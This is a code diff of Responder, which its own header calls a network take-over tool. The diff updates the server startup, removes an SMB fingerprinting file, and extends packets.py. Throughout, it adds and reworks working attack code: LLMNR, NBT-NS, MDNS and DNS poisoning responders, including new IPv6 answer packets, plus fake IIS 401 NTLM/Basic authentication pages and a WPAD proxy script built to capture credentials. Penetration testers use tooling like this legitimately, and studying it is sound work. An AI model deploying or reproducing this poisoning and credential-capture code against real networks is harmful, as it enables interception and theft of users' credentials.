self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton)
#IPV6:
if (sys.version_info > (3, 0)):
if Have_IPv6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
else:
if Have_IPv6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if OsInterfaceIsSupported():
try:
if settings.Config.Bind_To_ALL:
@@ -129,21 +157,28 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
raise
pass
UDPServer.server_bind(self)
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
def server_bind(self):
MADDR = "224.0.0.252"
MADDR = '224.0.0.252'
MADDR6 = 'FF02:0:0:0:0:0:1:3'
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
#IPV6:
if Have_IPv6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if OsInterfaceIsSupported():
try:
if settings.Config.Bind_To_ALL:
@@ -151,51 +186,68 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
raise
#pass
pass
UDPServer.server_bind(self)
ThreadingUDPServer.allow_reuse_address = 1
if Have_IPv6:
ThreadingUDPServer.address_family = socket.AF_INET6
ThreadingTCPServer.allow_reuse_address = 1
if Have_IPv6:
ThreadingTCPServer.address_family = socket.AF_INET6
ThreadingUDPMDNSServer.allow_reuse_address = 1
if Have_IPv6:
ThreadingUDPMDNSServer.address_family = socket.AF_INET6
ThreadingUDPLLMNRServer.allow_reuse_address = 1
if Have_IPv6:
ThreadingUDPLLMNRServer.address_family = socket.AF_INET6
ThreadingTCPServerAuth.allow_reuse_address = 1
if Have_IPv6:
ThreadingTCPServerAuth.address_family = socket.AF_INET6
def serve_thread_udp_broadcast(host, port, handler):
try:
server = ThreadingUDPServer((host, port), handler)
server = ThreadingUDPServer(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_NBTNS_poisoner(host, port, handler):
serve_thread_udp_broadcast(host, port, handler)
serve_thread_udp_broadcast('', port, handler)
def serve_MDNS_poisoner(host, port, handler):
try:
server = ThreadingUDPMDNSServer((host, port), handler)
server = ThreadingUDPMDNSServer(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_LLMNR_poisoner(host, port, handler):
try:
server = ThreadingUDPLLMNRServer((host, port), handler)
server = ThreadingUDPLLMNRServer(('', port), handler)
server.serve_forever()
except:
raise
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_thread_udp(host, port, handler):
try:
if OsInterfaceIsSupported():
server = ThreadingUDPServer((host, port), handler)
server = ThreadingUDPServer(('', port), handler)
server.serve_forever()
else:
server = ThreadingUDPServer((host, port), handler)
server = ThreadingUDPServer(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
@@ -203,10 +255,10 @@ def serve_thread_udp(host, port, handler):
def serve_thread_tcp(host, port, handler):
try:
if OsInterfaceIsSupported():
server = ThreadingTCPServer((host, port), handler)
server = ThreadingTCPServer(('', port), handler)
server.serve_forever()
else:
server = ThreadingTCPServer((host, port), handler)
server = ThreadingTCPServer(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
@@ -214,10 +266,10 @@ def serve_thread_tcp(host, port, handler):
def serve_thread_tcp_auth(host, port, handler):
try:
if OsInterfaceIsSupported():
server = ThreadingTCPServerAuth((host, port), handler)
server = ThreadingTCPServerAuth(('', port), handler)
server.serve_forever()
else:
server = ThreadingTCPServerAuth((host, port), handler)
server = ThreadingTCPServerAuth(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
@@ -227,33 +279,46 @@ def serve_thread_SSL(host, port, handler):
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(cert, key)
if OsInterfaceIsSupported():
server = ThreadingTCPServer((host, port), handler)
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
server = ThreadingTCPServer(('', port), handler)
server.socket = context.wrap_socket(server.socket, server_side=True)
server.serve_forever()
else:
server = ThreadingTCPServer((host, port), handler)
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
server = ThreadingTCPServer(('', port), handler)
server.socket = context.wrap_socket(server.socket, server_side=True)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running.")
def main():
try:
if (sys.version_info < (3, 0)):
print(color('\n\n[-]', 3, 1) + " Still using python 2? :(")
print(color('\n[+]', 2, 1) + " Listening for events...\n")
threads = []
# Load (M)DNS, NBNS and LLMNR Poisoners
from poisoners.LLMNR import LLMNR
from poisoners.NBTNS import NBTNS
from poisoners.MDNS import MDNS
threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,)))
if settings.Config.LLMNR_On_Off:
from poisoners.LLMNR import LLMNR
threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
if settings.Config.NBTNS_On_Off:
from poisoners.NBTNS import NBTNS
threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,)))
if settings.Config.MDNS_On_Off:
from poisoners.MDNS import MDNS
threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
#// Vintage Responder BOWSER module, now disabled by default.
#// Generate to much noise & easily detectable on the network when in analyze mode.
# Load Browser Listener
from servers.Browser import Browser
threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
#from servers.Browser import Browser
#threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
if settings.Config.HTTP_On_Off:
from servers.HTTP import HTTP
@@ -282,7 +347,7 @@ def main():
if settings.Config.WPAD_On_Off:
from servers.HTTP_Proxy import HTTP_Proxy
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3141, HTTP_Proxy,)))
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3128, HTTP_Proxy,)))
if settings.Config.ProxyAuth_On_Off:
from servers.Proxy_Auth import Proxy_Auth
@@ -298,6 +363,12 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,)))
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,)))
if settings.Config.QUIC_On_Off:
from servers.QUIC import start_quic_server
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
threads.append(Thread(target=lambda: asyncio.run(start_quic_server(settings.Config.Bind_To, cert, key))))
if settings.Config.Krb_On_Off:
from servers.Kerberos import KerbTCP, KerbUDP
threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,)))
@@ -319,8 +390,13 @@ def main():
if settings.Config.LDAP_On_Off:
from servers.LDAP import LDAP, CLDAP
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,)))
threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 636, LDAP,)))
threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,)))
if settings.Config.MQTT_On_Off:
from servers.MQTT import MQTT
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 1883, MQTT,)))
if settings.Config.SMTP_On_Off:
from servers.SMTP import ESMTP
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 25, ESMTP,)))
@@ -335,19 +411,23 @@ def main():
threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,)))
if settings.Config.SNMP_On_Off:
from servers.SNMP import SNMP
threads.append(Thread(target=serve_thread_udp, args=('', 161, SNMP,)))
for thread in threads:
thread.setDaemon(True)
thread.daemon = True
thread.start()
print(color('\n[+]', 2, 1) + " Listening for events...\n")
if settings.Config.AnalyzeMode:
print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
if settings.Config.Quiet_Mode:
print(color('[+] Responder is in quiet mode. No NBT-NS, LLMNR, MDNS messages will print to screen.', 3, 1))
if settings.Config.DHCP_On_Off:
from poisoners.DHCP import DHCP
DHCP()
DHCP(settings.Config.DHCP_DNS)
while True:
time.sleep(1)

View File

@@ -1,66 +0,0 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import struct
import sys
from utils import color, StructPython2or3, NetworkSendBufferPython2or3, NetworkRecvBufferPython2or3
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
def OsNameClientVersion(data):
try:
if (sys.version_info > (3, 0)):
length = struct.unpack('<H',data[43:45])[0]
packet = NetworkRecvBufferPython2or3(data[47+length:])
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in packet.split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
else:
length = struct.unpack('<H',data[43:45])[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def RunSmbFinger(host):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(host)
s.settimeout(0.7)
h = SMBHeader(cmd='\x72',flag1='\x18',flag2='\x53\xc8')
n = SMBNego(data = str(SMBNegoFingerData()))
n.calculate()
Packet = str(h)+str(n)
Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
s.send(NetworkSendBufferPython2or3(Buffer1))
data = s.recv(2048)
if data[8:10] == b'\x72\x00':
Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
Body = SMBSessionFingerData()
Body.calculate()
Packet = str(Header)+str(Body)
Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
s.send(NetworkSendBufferPython2or3(Buffer1))
data = s.recv(2048)
if data[8:10] == b'\x73\x16':
return OsNameClientVersion(data)
except:
print(color("[!] ", 1, 1) +" Fingerprint failed")
return None

View File

@@ -1,9 +1,12 @@
import sys
try:
from UserDict import DictMixin
from UserDict import DictMixin
except ImportError:
from collections import UserDict
from collections import MutableMapping as DictMixin
from collections import UserDict
try:
from collections import MutableMapping as DictMixin
except ImportError:
from collections.abc import MutableMapping as DictMixin
class OrderedDict(dict, DictMixin):

337
packets.py Executable file → Normal file
View File

@@ -23,7 +23,7 @@ import re
from os import urandom
from base64 import b64decode, b64encode
from odict import OrderedDict
from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, RespondWithIPPton, RespondWithIP, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
# Packet class handling all packet generation (see odict.py).
class Packet():
@@ -52,7 +52,7 @@ class NBT_Ans(Packet):
("NbtName", ""),
("Type", "\x00\x20"),
("Classy", "\x00\x01"),
("TTL", "\x00\x00\x00\xa5"),
("TTL", "\x00\x04\x93\xe0"), #TTL: 3 days, 11 hours, 20 minutes (Default windows behavior)
("Len", "\x00\x06"),
("Flags1", "\x00\x00"),
("IP", "\x00\x00\x00\x00"),
@@ -89,7 +89,100 @@ class DNS_Ans(Packet):
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
# DNS Answer Packet OPT
class DNS_AnsOPT(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x01"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x01"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
("OPTName", "\x00"),
("OPTType", "\x00\x29"),
("OPTUDPSize", "\x10\x00"),
("OPTRCode", "\x00"),
("OPTEDNSVersion", "\x00"),
("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case.
("OPTStr", "\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS6_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS6_AnsOPT(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x01"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
("OPTName", "\x00"),
("OPTType", "\x00\x29"),
("OPTUDPSize", "\x10\x00"),
("OPTRCode", "\x00"),
("OPTEDNSVersion", "\x00"),
("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case.
("OPTStr", "\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS_SRV_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
@@ -122,7 +215,7 @@ class DNS_SRV_Ans(Packet):
def calculate(self,data):
self.fields["Tid"] = data[0:2]
DNSName = ''.join(data[12:].split('\x00')[:1])
SplitFQDN = re.split('\W+', DNSName) # split the ldap.tcp.blah.blah.blah.domain.tld
SplitFQDN = re.split(r'\W+', DNSName) # split the ldap.tcp.blah.blah.blah.domain.tld
#What's the question? we need it first to calc all other len.
self.fields["QuestionName"] = DNSName
@@ -170,7 +263,7 @@ class LLMNR_Ans(Packet):
("AnswerNameNull", "\x00"),
("Type1", "\x00\x01"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior)
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
@@ -181,6 +274,35 @@ class LLMNR_Ans(Packet):
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
class LLMNR6_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x80\x00"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionNameLen", "\x09"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerNameLen", "\x09"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior).
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
# MDNS Answer Packet
class MDNS_Ans(Packet):
fields = OrderedDict([
@@ -194,12 +316,35 @@ class MDNS_Ans(Packet):
("AnswerNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior)
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
# MDNS6 Answer Packet
class MDNS6_Ans(Packet):
fields = OrderedDict([
("Tid", "\x00\x00"),
("Flags", "\x84\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior)
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
################### DHCP SRV ######################
@@ -214,13 +359,13 @@ class NTLM_Challenge(Packet):
("TargetNameLen", "\x06\x00"),
("TargetNameMaxLen", "\x06\x00"),
("TargetNameOffset", "\x38\x00\x00\x00"),
("NegoFlags", "\x05\x02\x89\xa2"),
("NegoFlags", "\x05\x02\x81\xa2" if settings.Config.NOESS_On_Off else "\x05\x02\x89\xa2"),
("ServerChallenge", ""),
("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("TargetInfoLen", "\x7e\x00"),
("TargetInfoMaxLen", "\x7e\x00"),
("TargetInfoOffset", "\x3e\x00\x00\x00"),
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
("NTLMOsVersion", "\x0a\x00\x7c\x4f\x00\x00\x00\x0f"),
("TargetNameStr", settings.Config.Domain),
("Av1", "\x02\x00"),#nbt name
("Av1Len", "\x06\x00"),
@@ -281,25 +426,59 @@ class NTLM_Challenge(Packet):
class IIS_Auth_401_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("WWW-Auth", "WWW-Authenticate: Negotiate\r\n"),
("WWW-Auth2", "WWW-Authenticate: NTLM\r\n"),
("Len", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", """<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>401 - Unauthorized: Access is denied due to invalid credentials.</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;}
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
background-color:#555555;}
#content{margin:0 0 0 2%;position:relative;}
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
-->
</style>
</head>
<body>
<div id="header"><h1>Server Error</h1></div>
<div id="content">
<div class="content-container"><fieldset>
<h2>401 - Unauthorized: Access is denied due to invalid credentials.</h2>
<h3>You do not have permission to view this directory or page using the credentials that you supplied.</h3>
</fieldset></div>
</div>
</body>
</html>
"""),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
class IIS_Auth_Granted(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
("Payload", ""),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
@@ -307,22 +486,29 @@ class IIS_Auth_Granted(Packet):
class IIS_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWWAuth", "WWW-Authenticate: NTLM "),
("Payload", ""),
("Payload-CRLF", "\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload2", """<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Not Authorized</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Not Authorized</h2>
<hr><p>HTTP Error 401. The requested resource requires user authentication.</p>
</BODY></HTML>
"""),
])
def calculate(self,payload):
self.fields["Payload"] = b64encode(payload)
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload2"]))
class WinRM_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 \r\n"),
("Code", "HTTP/1.1 401\r\n"),
("WWWAuth", "WWW-Authenticate: Negotiate "),
("Payload", ""),
("Payload-CRLF", "\r\n"),
@@ -338,27 +524,58 @@ class WinRM_NTLM_Challenge_Ans(Packet):
class IIS_Basic_401_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"),
("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"),
("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Len", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", """<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>401 - Unauthorized: Access is denied due to invalid credentials.</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;}
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
background-color:#555555;}
#content{margin:0 0 0 2%;position:relative;}
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
-->
</style>
</head>
<body>
<div id="header"><h1>Server Error</h1></div>
<div id="content">
<div class="content-container"><fieldset>
<h2>401 - Unauthorized: Access is denied due to invalid credentials.</h2>
<h3>You do not have permission to view this directory or page using the credentials that you supplied.</h3>
</fieldset></div>
</div>
</body>
</html>
"""),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
##### Proxy mode Packets #####
class WPADScript(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ServerTlype", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
("Cache", "Pragma: no-cache\r\n"),
("Server", "Server: BigIP\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
("Payload", "function FindProxyForURL(url, host){return 'PROXY "+RespondWithIP()+":3141; DIRECT';}"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
@@ -369,7 +586,7 @@ class ServeExeFile(Packet):
("ContentType", "Content-Type: application/octet-stream\r\n"),
("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"),
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
("Server", "Server: Microsoft-IIS/7.5\r\n"),
("Server", "Server: Microsoft-IIS/10.0\r\n"),
("ContentDisp", "Content-Disposition: attachment; filename="),
("ContentDiFile", ""),
